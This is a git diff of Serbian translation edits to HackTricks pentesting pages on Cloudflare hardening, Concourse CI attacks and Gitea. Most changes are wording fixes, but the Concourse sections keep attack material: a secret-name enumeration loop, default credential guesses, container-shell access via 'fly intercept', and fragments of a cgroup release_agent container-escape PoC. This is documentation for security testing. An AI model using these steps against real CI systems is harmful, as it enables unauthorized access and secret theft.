diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
index b72295480..825cf771e 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
@@ -1,15 +1,15 @@
-# Cloudflare Domains
+# Cloudflare Domeni
{{#include ../../banners/hacktricks-training.md}}
-U svakom TLD-u konfigurisanom u Cloudflare postoje neka **opšta podešavanja i usluge** koje se mogu konfigurisati. Na ovoj stranici ćemo **analizirati podešavanja vezana za sigurnost svake sekcije:**
+U svakoj TLD konfigurisanom u Cloudflare postoje neka **opšta podešavanja i usluge** koje se mogu konfigurisati. Na ovoj stranici ćemo **analizirati podešavanja vezana za sigurnost svake sekcije:**
### Pregled
-- [ ] Steknite osećaj o **koliko** se usluga na računu **koristi**
-- [ ] Takođe pronađite **zone ID** i **račun ID**
+- [ ] Steknite osećaj o **koliko** se usluga na nalogu **koristi**
+- [ ] Takođe pronađite **zone ID** i **nalog ID**
### Analitika
@@ -20,17 +20,17 @@ U svakom TLD-u konfigurisanom u Cloudflare postoje neka **opšta podešavanja i
- [ ] Proverite **zanimljive** (osetljive?) podatke u DNS **rekordima**
- [ ] Proverite za **poddomene** koje bi mogle sadržati **osetljive informacije** samo na osnovu **imena** (kao što je admin173865324.domin.com)
- [ ] Proverite web stranice koje **nisu** **proksirane**
-- [ ] Proverite za **proksirane web stranice** koje se mogu **direktno pristupiti** putem CNAME-a ili IP adrese
+- [ ] Proverite za **proksirane web stranice** koje se mogu **direktno pristupiti** putem CNAME ili IP adrese
- [ ] Proverite da li je **DNSSEC** **omogućen**
- [ ] Proverite da li se **CNAME Flattening** **koristi** u **svim CNAME-ima**
- Ovo može biti korisno za **sakrivanje ranjivosti preuzimanja poddomena** i poboljšanje vremena učitavanja
-- [ ] Proverite da li domene [**nisu ranjive na spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
+- [ ] Proverite da domene [**nisu ranjive na spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
### **Email**
TODO
-### Spectrum
+### Spektar
TODO
@@ -38,7 +38,7 @@ TODO
#### **Pregled**
-- [ ] **SSL/TLS enkripcija** treba da bude **Puna** ili **Puna (Stroga)**. Svaka druga će slati **saobraćaj u čistom tekstu** u nekom trenutku.
+- [ ] **SSL/TLS enkripcija** treba da bude **Puna** ili **Puna (stroga)**. Svaka druga će slati **saobraćaj u čistom tekstu** u nekom trenutku.
- [ ] **SSL/TLS Preporučivač** treba da bude omogućen
#### Edge Sertifikati
@@ -47,8 +47,8 @@ TODO
- [ ] **HTTP Stroga Transportna Bezbednost (HSTS)** treba da bude **omogućena**
- [ ] **Minimalna TLS verzija treba da bude 1.2**
- [ ] **TLS 1.3 treba da bude omogućen**
-- [ ] **Automatska HTTPS Prepravka** treba da bude **omogućena**
-- [ ] **Praćenje Transparentnosti Sertifikata** treba da bude **omogućeno**
+- [ ] **Automatska HTTPS prepravka** treba da bude **omogućena**
+- [ ] **Praćenje transparentnosti sertifikata** treba da bude **omogućeno**
### **Sigurnost**
@@ -59,13 +59,13 @@ TODO
- [ ] U sekciji **`DDoS`** preporučuje se omogućiti **DDoS zaštite**
- [ ] U sekciji **`Podešavanja`**:
- [ ] Proverite da je **`Nivo sigurnosti`** **srednji** ili veći
-- [ ] Proverite da je **`Izazov Prolaz`** 1 sat maksimalno
-- [ ] Proverite da je **`Provera Integriteta Pregledača`** **omogućena**
-- [ ] Proverite da je **`Podrška za Privatnost Pass`** **omogućena**
+- [ ] Proverite da je **`Izazov prolaz`** 1 sat maksimalno
+- [ ] Proverite da je **`Provera integriteta pregledača`** **omogućena**
+- [ ] Proverite da je **`Podrška za Privacy Pass`** **omogućena**
#### **CloudFlare DDoS Zaštita**
-- Ako možete, omogućite **Bot Fight Mode** ili **Super Bot Fight Mode**. Ako štitite neki API koji se pristupa programatski (na primer, sa JS front-end stranice). Možda nećete moći da omogućite ovo bez prekidanja tog pristupa.
+- Ako možete, omogućite **Bot Fight Mode** ili **Super Bot Fight Mode**. Ako štitite neki API koji se pristupa programatski (na primer, sa JS front end stranice). Možda nećete moći da omogućite ovo bez prekidanja tog pristupa.
- U **WAF**: Možete kreirati **ograničenja brzine po URL putanji** ili za **verifikovane botove** (pravila ograničenja brzine), ili da **blokirate pristup** na osnovu IP, kolačića, referera...). Tako možete blokirati zahteve koji ne dolaze sa web stranice ili nemaju kolačić.
- Ako je napad od **verifikovanog bota**, barem **dodajte ograničenje brzine** za botove.
- Ako je napad na **specifičnu putanju**, kao mehanizam prevencije, dodajte **ograničenje brzine** na ovoj putanji.
@@ -73,9 +73,9 @@ TODO
- Proverite da li **Upravljana pravila** takođe mogu pomoći u sprečavanju eksploatacije ranjivosti.
- U sekciji **Alati** možete **blokirati ili dati izazov specifičnim IP-ovima** i **korisničkim agentima.**
- U DDoS-u možete **prepraviti neka pravila da ih učinite restriktivnijim**.
-- **Podešavanja**: Postavite **Nivo sigurnosti** na **Visok** i na **Pod Napadom** ako ste Pod Napadom i da je **Provera Integriteta Pregledača omogućena**.
-- U Cloudflare Domains -> Analitika -> Sigurnost -> Proverite da li je **ograničenje brzine** omogućeno
-- U Cloudflare Domains -> Sigurnost -> Događaji -> Proverite za **otkrivene zlonamerne Događaje**
+- **Podešavanja**: Postavite **Nivo sigurnosti** na **Visok** i na **Pod napadom** ako ste pod napadom i da je **Provera integriteta pregledača omogućena**.
+- U Cloudflare Domeni -> Analitika -> Sigurnost -> Proverite da li je **ograničenje brzine** omogućeno
+- U Cloudflare Domeni -> Sigurnost -> Događaji -> Proverite za **otkrivene zlonamerne događaje**
### Pristup
@@ -89,7 +89,7 @@ _Nisam mogao pronaći nijednu opciju vezanu za sigurnost_
### Keširanje
-- [ ] U sekciji **`Konfiguracija`** razmotrite omogućavanje **CSAM Alata za Skener**
+- [ ] U sekciji **`Konfiguracija`** razmotrite omogućavanje **CSAM alata za skeniranje**
### **Workers Rute**
@@ -109,9 +109,9 @@ TODO
TODO
-### Prilagođene Stranice
+### Prilagođene stranice
-- [ ] Opcionalno je konfigurisati prilagođene stranice kada se aktivira greška vezana za sigurnost (kao što je blokada, ograničenje brzine ili sam pod napadom)
+- [ ] Opcionalno je konfigurisati prilagođene stranice kada se aktivira greška vezana za sigurnost (kao što su blokada, ograničenje brzine ili sam pod napadom)
### Aplikacije
@@ -119,8 +119,8 @@ TODO
### Scrape Shield
-- [ ] Proverite da li je **Obfuscation Email Adresa** **omogućena**
-- [ ] Proverite da li su **Isključenja na Serverskoj Strani** **omogućena**
+- [ ] Proverite da je **Obfuscacija email adresa** **omogućena**
+- [ ] Proverite da su **Isključenja sa servera** **omogućena**
### **Zaraz**
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
index bbcdc19e8..236d0a3ef 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
@@ -27,14 +27,14 @@ Na svakoj aplikaciji:
- [ ] Proverite **dostupne provajdere identiteta** i uverite se da **nisu previše otvoreni**
- [ ] U **`Settings`**:
- [ ] Proverite da **CORS nije omogućen** (ako je omogućen, proverite da je **siguran** i da ne dozvoljava sve)
-- [ ] Kolačići bi trebali imati **Strict Same-Site** atribut, **HTTP Only** i **binding cookie** bi trebali biti **omogućeni** ako je aplikacija HTTP.
-- [ ] Razmotrite omogućavanje **Browser rendering** za bolju **zaštitu. Više informacija o** [**remote browser isolation ovde**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
+- [ ] Kolačići bi trebali imati **Strict Same-Site** atribut, **HTTP Only** i **binding cookie** bi trebao biti **omogućen** ako je aplikacija HTTP.
+- [ ] Razmotrite omogućavanje **Browser rendering** za bolju **zaštitu. Više informacija o** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
#### **Access Groups**
- [ ] Proverite da su grupe za pristup generisane **ispravno ograničene** na korisnike kojima bi trebale omogućiti pristup.
-- [ ] Posebno je važno proveriti da **podrazumevana grupa za pristup nije previše otvorena** (ne **dozvoljava previše ljudi**) jer je po **podrazumevano** svako u toj **grupi** u mogućnosti da **pristupi aplikacijama**.
-- Imajte na umu da je moguće dati **pristup** **SVIMA** i druge **veoma otvorene politike** koje se ne preporučuju osim ako nisu 100% neophodne.
+- [ ] Posebno je važno proveriti da **podrazumevana grupa za pristup nije previše otvorena** (ne **dozvoljava previše ljudi**) jer po **podrazumevanoj** postavci svako u toj **grupi** će moći da **pristupi aplikacijama**.
+- Imajte na umu da je moguće dati **pristup** **SVIMA** i druge **veoma otvorene politike** koje nisu preporučene osim ako nisu 100% neophodne.
#### Service Auth
@@ -56,6 +56,6 @@ TODO
- [ ] Proverite **tip plana**
- [ ] Moguće je videti **ime vlasnika kreditne kartice**, **poslednje 4 cifre**, **datum isteka** i **adresu**
-- [ ] Preporučuje se da se **doda isteka korisničkog mesta** kako bi se uklonili korisnici koji zaista ne koriste ovu uslugu
+- [ ] Preporučuje se **dodavanje isteka korisničkog mesta** kako bi se uklonili korisnici koji zaista ne koriste ovu uslugu
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md
index be3722932..0dee45a7c 100644
--- a/src/pentesting-ci-cd/concourse-security/README.md
+++ b/src/pentesting-ci-cd/concourse-security/README.md
@@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
-## Osnovne Informacije
+## Osnovne informacije
-Concourse vam omogućava da **pravite pipeline-e** za automatsko pokretanje testova, akcija i izgradnju slika kada god vam zatreba (na osnovu vremena, kada se nešto desi...)
+Concourse vam omogućava da **pravite pipeline-e** za automatsko pokretanje testova, akcija i izgradnju slika kada god vam zatreba (na osnovu vremena, kada se nešto dogodi...)
## Arhitektura Concourse-a
@@ -22,9 +22,9 @@ Saznajte kako možete pokrenuti concourse okruženje lokalno da biste uradili sv
concourse-lab-creation.md
{{#endref}}
-## Enumeracija i Napad na Concourse
+## Enumeracija i napad na Concourse
-Saznajte kako možete enumerisati okruženje concourse-a i zloupotrebiti ga u:
+Saznajte kako možete enumerisati concourse okruženje i zloupotrebiti ga u:
{{#ref}}
concourse-enumeration-and-attacks.md
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
index 582c37d3a..e5203aa8e 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
@@ -12,7 +12,7 @@
#### ATC: web UI i raspoređivač gradnje
-ATC je srce Concourse-a. Pokreće **web UI i API** i odgovoran je za sve **raspoređivanje** pipeline-a. **Povezuje se sa PostgreSQL**, koji koristi za skladištenje podataka o pipeline-u (uključujući logove gradnje).
+ATC je srce Concourse-a. Pokreće **web UI i API** i odgovoran je za sve **raspoređivanje** pipeline-a. **Povezuje se sa PostgreSQL**, koji koristi za čuvanje podataka o pipeline-u (uključujući logove gradnje).
Odgovornost [checker-a](https://concourse-ci.org/checker.html) je da kontinuirano proverava nove verzije resursa. [Raspoređivač](https://concourse-ci.org/scheduler.html) je odgovoran za raspoređivanje gradnji za posao, a [traker gradnje](https://concourse-ci.org/build-tracker.html) je odgovoran za pokretanje bilo kojih raspoređenih gradnji. [Sakupljač otpada](https://concourse-ci.org/garbage-collector.html) je mehanizam za čišćenje koji uklanja sve neiskorišćene ili zastarele objekte, kao što su kontejneri i volumeni.
@@ -28,8 +28,8 @@ TSA po **default-u sluša na portu `2222`**, i obično je smešten sa [ATC](http
Da bi izvršio zadatke, Concourse mora imati neke radnike. Ovi radnici **registruju sebe** putem [TSA](https://concourse-ci.org/internals.html#component-tsa) i pokreću usluge [**Garden**](https://github.com/cloudfoundry-incubator/garden) i [**Baggageclaim**](https://github.com/concourse/baggageclaim).
-- **Garden**: Ovo je **API za upravljanje kontejnerima**, obično se pokreće na **portu 7777** putem **HTTP**.
-- **Baggageclaim**: Ovo je **API za upravljanje volumenima**, obično se pokreće na **portu 7788** putem **HTTP**.
+- **Garden**: Ovo je **Container Manage API**, obično se pokreće na **portu 7777** putem **HTTP**.
+- **Baggageclaim**: Ovo je **Volume Management API**, obično se pokreće na **portu 7788** putem **HTTP**.
## Reference
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
index b068ae1c2..fee7f8dec 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
@@ -17,14 +17,14 @@ Concourse dolazi sa pet uloga:
> [!NOTE]
> Pored toga, **dozvole uloga owner, member, pipeline-operator i viewer mogu biti modifikovane** konfigurišući RBAC (konfigurišući preciznije njegove akcije). Pročitajte više o tome na: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
-Napomena da Concourse **grupiše pipeline-e unutar timova**. Stoga korisnici koji pripadaju timu će moći da upravljaju tim pipeline-ima i **several Teams** može postojati. Korisnik može pripadati više timova i imati različite dozvole unutar svakog od njih.
+Napomena da Concourse **grupiše pipeline-e unutar timova**. Stoga korisnici koji pripadaju timu mogu upravljati tim pipeline-ima i **several Teams** može postojati. Korisnik može pripadati više timovima i imati različite dozvole unutar svakog od njih.
### Vars & Credential Manager
U YAML konfiguracijama možete konfigurisati vrednosti koristeći sintaksu `((_source-name_:_secret-path_._secret-field_))`.\
-[Iz dokumenata:](https://concourse-ci.org/vars.html#var-syntax) **source-name je opcionalan**, i ako se izostavi, koristiće se [menadžer kredencijala na nivou klastera](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), ili se vrednost može pružiti [statički](https://concourse-ci.org/vars.html#static-vars).\
+[Iz dokumenata:](https://concourse-ci.org/vars.html#var-syntax) **source-name je opcionalan**, i ako se izostavi, koristiće se [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), ili se vrednost može pružiti [statički](https://concourse-ci.org/vars.html#static-vars).\
**Opcionalni \_secret-field**\_ specificira polje na preuzetom tajnom podatku koje treba pročitati. Ako se izostavi, menadžer kredencijala može izabrati da pročita 'podrazumevano polje' iz preuzetog kredencijala ako polje postoji.\
-Pored toga, _**secret-path**_ i _**secret-field**_ mogu biti okruženi dvostrukim navodnicima `"..."` ako **sadrže specijalne karaktere** kao što su `.` i `:`. Na primer, `((source:"my.secret"."field:1"))` će postaviti _secret-path_ na `my.secret` i _secret-field_ na `field:1`.
+Pored toga, _**secret-path**_ i _**secret-field**_ mogu biti okruženi dvostrukim navodnicima `"..."` ako **sadrže posebne karaktere** kao što su `.` i `:`. Na primer, `((source:"my.secret"."field:1"))` će postaviti _secret-path_ na `my.secret` i _secret-field_ na `field:1`.
#### Static Vars
@@ -34,7 +34,7 @@ Statičke varijable mogu biti specificirane u **koracima zadataka**:
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
```
-Or korišćenjem sledećih `fly` **argumenata**:
+Ili koristeći sledeće `fly` **argumente**:
- `-v` ili `--var` `NAME=VALUE` postavlja string `VALUE` kao vrednost za var `NAME`.
- `-y` ili `--yaml-var` `NAME=VALUE` parsira `VALUE` kao YAML i postavlja ga kao vrednost za var `NAME`.
@@ -43,31 +43,31 @@ Or korišćenjem sledećih `fly` **argumenata**:
#### Upravljanje akreditivima
-Postoje različiti načini na koje se **Upravljač akreditivima može specificirati** u pipeline-u, pročitajte kako na [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
+Postoje različiti načini na koje se **Upravljač akreditivima može specificirati** u pipeline-u, pročitajte kako u [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
Pored toga, Concourse podržava različite upravljače akreditivima:
-- [Upravljač akreditivima Vault](https://concourse-ci.org/vault-credential-manager.html)
-- [Upravljač akreditivima CredHub](https://concourse-ci.org/credhub-credential-manager.html)
-- [Upravljač akreditivima AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html)
-- [Upravljač akreditivima AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html)
-- [Upravljač akreditivima Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html)
-- [Upravljač akreditivima Conjur](https://concourse-ci.org/conjur-credential-manager.html)
-- [Keširanje akreditiva](https://concourse-ci.org/creds-caching.html)
-- [Redigovanje akreditiva](https://concourse-ci.org/creds-redacting.html)
-- [Ponovno pokušavanje neuspešnih preuzimanja](https://concourse-ci.org/creds-retry-logic.html)
+- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
+- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
+- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html)
+- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html)
+- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html)
+- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html)
+- [Caching credentials](https://concourse-ci.org/creds-caching.html)
+- [Redacting credentials](https://concourse-ci.org/creds-redacting.html)
+- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
> [!CAUTION]
> Imajte na umu da ako imate neku vrstu **pristupa za pisanje Concourse-u** možete kreirati poslove za **ekstrakciju tih tajni** jer Concourse mora imati mogućnost pristupa njima.
### Concourse Enumeracija
-Da biste enumerisali Concourse okruženje, prvo morate **prikupiti važeće akreditive** ili pronaći **autentifikovani token** verovatno u `.flyrc` konfiguracionom fajlu.
+Da biste enumerisali Concourse okruženje, prvo morate **prikupiti važeće akreditive** ili pronaći **autentifikovani token**, verovatno u `.flyrc` konfiguracionom fajlu.
#### Prijava i trenutni korisnik enum
- Da biste se prijavili, morate znati **endpoint**, **ime tima** (podrazumevano je `main`) i **tim kojem korisnik pripada**:
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
-- Dobijte konfigurirane **ciljeve**:
+- Dobijte konfigurisane **ciljeve**:
- `fly targets`
- Proverite da li je konfigurisana **veza sa ciljem** još uvek **važeća**:
- `fly -t status`
@@ -86,15 +86,15 @@ Da biste enumerisali Concourse okruženje, prvo morate **prikupiti važeće akre
- Dobijte listu korisnika
- `fly -t active-users`
-#### Pipelines
+#### Pipeline-i
-- **Lista** pipelines:
+- **Lista** pipeline-a:
- `fly -t pipelines -a`
- **Dobijte** pipeline yaml (**osetljive informacije** mogu se naći u definiciji):
- `fly -t get-pipeline -p `
-- Dobijte sve **konfiguracione varijable** pipeline-a
+- Dobijte sve **konfigurisane var** pipeline-a
- `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
-- Dobijte sve **nazive tajnih pipeline-a** (ako možete kreirati/izmeniti posao ili preuzeti kontejner, mogli biste ih ekstraktovati):
+- Dobijte sve **nazive tajni pipeline-a** koje se koriste (ako možete kreirati/modifikovati posao ili preuzeti kontejner, mogli biste ih ekstraktovati):
```bash
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
@@ -118,7 +118,7 @@ rm /tmp/secrets.txt
### Concourse Napadi
-#### Brute-Force Akcija na Kredencijale
+#### Brute-Force Akreditivi
- admin:admin
- test:test
@@ -129,7 +129,7 @@ U prethodnom odeljku smo videli kako možete **dobiti sve nazive i varijable taj
#### Sesija unutar pokrenutog ili nedavno pokrenutog kontejnera
-Ako imate dovoljno privilegija (**član uloga ili više**) moći ćete da **listaš pipelines i uloge** i jednostavno dobijete **sesiju unutar** `/` **kontejnera** koristeći:
+Ako imate dovoljno privilegija (**member role ili više**) moći ćete da **lista pipeline-ove i uloge** i jednostavno dobijete **sesiju unutar** `/` **kontejnera** koristeći:
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
@@ -140,9 +140,9 @@ Sa ovim dozvolama možda ćete moći da:
- Pokušate da **pobegnete** na čvor
- Enumerišete/Iskoristite **cloud metadata** endpoint (iz poda i sa čvora, ako je moguće)
-#### Kreiranje/Izmena Pipeline-a
+#### Kreiranje/Modifikacija Pipeline-a
-Ako imate dovoljno privilegija (**član uloga ili više**) moći ćete da **kreirate/menjate nove pipeline-ove.** Pogledajte ovaj primer:
+Ako imate dovoljno privilegija (**član ulogu ili više**) moći ćete da **kreirate/modifikujete nove pipeline-e.** Pogledajte ovaj primer:
```yaml
jobs:
- name: simple
@@ -175,7 +175,7 @@ Sa **modifikacijom/kreiranjem** novog pipeline-a moći ćete da:
#### Izvršite Prilagođeni Zadatak
-Ovo je slično prethodnoj metodi, ali umesto modifikacije/kreiranja celog novog pipeline-a, možete **samo izvršiti prilagođeni zadatak** (što će verovatno biti mnogo **diskretnije**):
+Ovo je slično prethodnoj metodi, ali umesto modifikovanja/kreiranja celog novog pipeline-a, možete **samo izvršiti prilagođeni zadatak** (što će verovatno biti mnogo **diskretnije**):
```yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
@@ -199,9 +199,9 @@ fly -t tutorial execute --privileged --config task_config.yml
```
#### Bekstvo na čvor iz privilegovane zadatke
-U prethodnim sekcijama smo videli kako da **izvršimo privilegovanu zadatak sa concourse**. Ovo neće dati kontejneru potpuno isti pristup kao privilegovana oznaka u docker kontejneru. Na primer, nećete videti uređaj datoteke čvora u /dev, tako da bi bekstvo moglo biti "kompleksnije".
+U prethodnim sekcijama smo videli kako da **izvršimo privilegovanu zadatak sa concourse**. Ovo neće dati kontejneru potpuno isti pristup kao privilegovana oznaka u docker kontejneru. Na primer, nećete videti uređaj datotečnog sistema čvora u /dev, tako da bi bekstvo moglo biti "kompleksnije".
-U sledećem PoC-u ćemo koristiti release_agent da pobegnemo sa nekim malim izmenama:
+U sledećem PoC-u ćemo koristiti release_agent za bekstvo sa nekim malim izmenama:
```bash
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
@@ -260,11 +260,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output
```
> [!WARNING]
-> Kao što ste možda primetili, ovo je samo [**redovni release_agent beg**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) samo modifikujući putanju cmd-a u čvoru
+> Kao što ste možda primetili, ovo je samo [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) samo modifikovanjem putanje cmd-a u čvoru
-#### Beg u čvor iz Worker kontejnera
+#### Bekstvo do čvora iz Worker kontejnera
-Redovni release_agent beg sa manjom modifikacijom je dovoljan za ovo:
+Regularan release_agent escape sa manjom modifikacijom je dovoljan za ovo:
```bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
@@ -332,10 +332,10 @@ select * from users;
> [!WARNING]
> Ovo su samo neke zanimljive beleške o servisu, ali pošto sluša samo na localhost-u, ove beleške neće imati nikakav uticaj koji već nismo iskoristili ranije
-Podrazumevano, svaki concourse radnik će pokretati [**Garden**](https://github.com/cloudfoundry/garden) servis na portu 7777. Ovaj servis koristi Web master da označi radniku **šta treba da izvrši** (preuzmi sliku i pokreni svaku zadatak). Ovo zvuči prilično dobro za napadača, ali postoje neka dobra zaštita:
+Po defaultu, svaki concourse radnik će pokretati [**Garden**](https://github.com/cloudfoundry/garden) servis na portu 7777. Ovaj servis koristi Web master da označi radniku **šta treba da izvrši** (preuzmi sliku i pokreni svaku zadatak). Ovo zvuči prilično dobro za napadača, ali postoje neka dobra zaštita:
-- To je samo **izloženo lokalno** (127..0.0.1) i mislim da kada se radnik autentifikuje prema Web-u sa posebnim SSH servisom, stvara se tunel tako da web server može **da komunicira sa svakim Garden servisom** unutar svakog radnika.
-- Web server **prati pokrenute kontejnere svake nekoliko sekundi**, i **neočekivani** kontejneri se **brišu**. Dakle, ako želite da **pokrenete prilagođeni kontejner** morate da **manipulišete** sa **komunikacijom** između web servera i garden servisa.
+- On je samo **izložen lokalno** (127..0.0.1) i mislim da kada se radnik autentifikuje prema Web-u sa posebnim SSH servisom, stvara se tunel tako da web server može **da komunicira sa svakim Garden servisom** unutar svakog radnika.
+- Web server **prati pokretne kontejnere svake nekoliko sekundi**, i **neočekivani** kontejneri se **brišu**. Dakle, ako želite da **pokrenete prilagođeni kontejner**, morate da **manipulišete** sa **komunikacijom** između web servera i garden servisa.
Concourse radnici rade sa visokim privilegijama kontejnera:
```
@@ -353,7 +353,7 @@ Međutim, tehnike poput **montiranja** /dev uređaja čvora ili release_agent **
> [!NOTE]
> U prethodnom odeljku smo videli kako da pobegnemo iz privilegovanog kontejnera, tako da ako možemo **izvršiti** komande u **privilegovanom kontejneru** koji je kreirao **trenutni** **radnik**, mogli bismo **pobegnuti na čvor**.
-Imajte na umu da sam igrajući se sa concourse-om primetio da kada se novi kontejner pokrene da bi nešto izvršio, procesi kontejnera su dostupni iz radničkog kontejnera, tako da je to kao da kontejner kreira novi kontejner unutar sebe.
+Napomena: igrajući se sa concourse-om, primetio sam da kada se novi kontejner pokrene da bi nešto izvršio, procesi kontejnera su dostupni iz radnog kontejnera, tako da je to kao kontejner koji kreira novi kontejner unutar sebe.
**Ulazak u pokrenuti privilegovani kontejner**
```bash
@@ -409,7 +409,7 @@ Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
```
-## Референце
+## Reference
- https://concourse-ci.org/vars.html
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
index 47fc56190..50b283d60 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
@@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse
# If you need to delete it
helm delete concourse-release
```
-После генерисања concourse env, можете генерисати тајну и дати приступ SA који ради у concourse web-у да приступи K8s тајнама:
+Nakon generisanja concourse okruženja, možete generisati tajnu i dati pristup SA koji radi u concourse web-u da pristupi K8s tajnama:
```yaml
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -73,7 +73,7 @@ Pipeline se sastoji od liste [Jobs](https://concourse-ci.org/jobs.html) koja sad
### Koraci
-Mogu se koristiti nekoliko različitih tipova koraka:
+Mogu se koristiti različite vrste koraka:
- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **pokreće** [**task**](https://concourse-ci.org/tasks.html)
- [`get` step](https://concourse-ci.org/get-step.html) preuzima [resource](https://concourse-ci.org/resources.html)
@@ -85,7 +85,7 @@ Mogu se koristiti nekoliko različitih tipova koraka:
- [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) pokreće korak više puta; jednom za svaku kombinaciju vrednosti varijabli
- [`try` step](https://concourse-ci.org/try-step.html) pokušava da pokrene korak i uspeva čak i ako korak ne uspe
-Svaki [step](https://concourse-ci.org/steps.html) u [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) se izvršava u **svojoj kontejneru**. Možete pokrenuti bilo šta što želite unutar kontejnera _(tj. pokrenuti moje testove, pokrenuti ovaj bash skript, izgraditi ovu sliku, itd.)_. Dakle, ako imate posao sa pet koraka, Concourse će kreirati pet kontejnera, po jedan za svaki korak.
+Svaki [step](https://concourse-ci.org/steps.html) u [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) se izvršava u **svojoj kontejneru**. Možete pokrenuti bilo šta što želite unutar kontejnera _(tj. pokrenuti moje testove, pokrenuti ovaj bash skript, izgraditi ovu sliku, itd.)_. Dakle, ako imate posao sa pet koraka, Concourse će kreirati pet kontejnera, jedan za svaki korak.
Stoga, moguće je naznačiti tip kontejnera u kojem svaki korak treba da se izvrši.
diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md
index 57e955f77..e02fbbb9a 100644
--- a/src/pentesting-ci-cd/gitea-security/README.md
+++ b/src/pentesting-ci-cd/gitea-security/README.md
@@ -4,7 +4,7 @@
## Šta je Gitea
-**Gitea** je **rešenje za hostovanje koda koje se lako upravlja i koje je samostalno hostovano**, napisano u Go-u.
+**Gitea** je **rešenje za hostovanje koda koje se lako upravlja i koje se samostalno hostuje**, napisano u Go.
.png>)
@@ -33,7 +33,7 @@ helm install gitea gitea-charts/gitea
- Registrovani korisnici: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
- Registrovane organizacije: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
-Imajte na umu da **podrazumevano Gitea omogućava novim korisnicima da se registruju**. Ovo neće pružiti posebno zanimljiv pristup novim korisnicima u odnosu na druge organizacije/korisnike repozitorijuma, ali **prijavljeni korisnik** može biti u mogućnosti da **vizualizuje više repozitorijuma ili organizacija**.
+Imajte na umu da **podrazumevano Gitea omogućava novim korisnicima da se registruju**. Ovo neće pružiti posebno zanimljiv pristup novim korisnicima u odnosu na druge organizacije/korisnike repozitorijuma, ali **prijavljeni korisnik** može biti u mogućnosti da **vidi više repozitorijuma ili organizacija**.
## Interna Eksploatacija
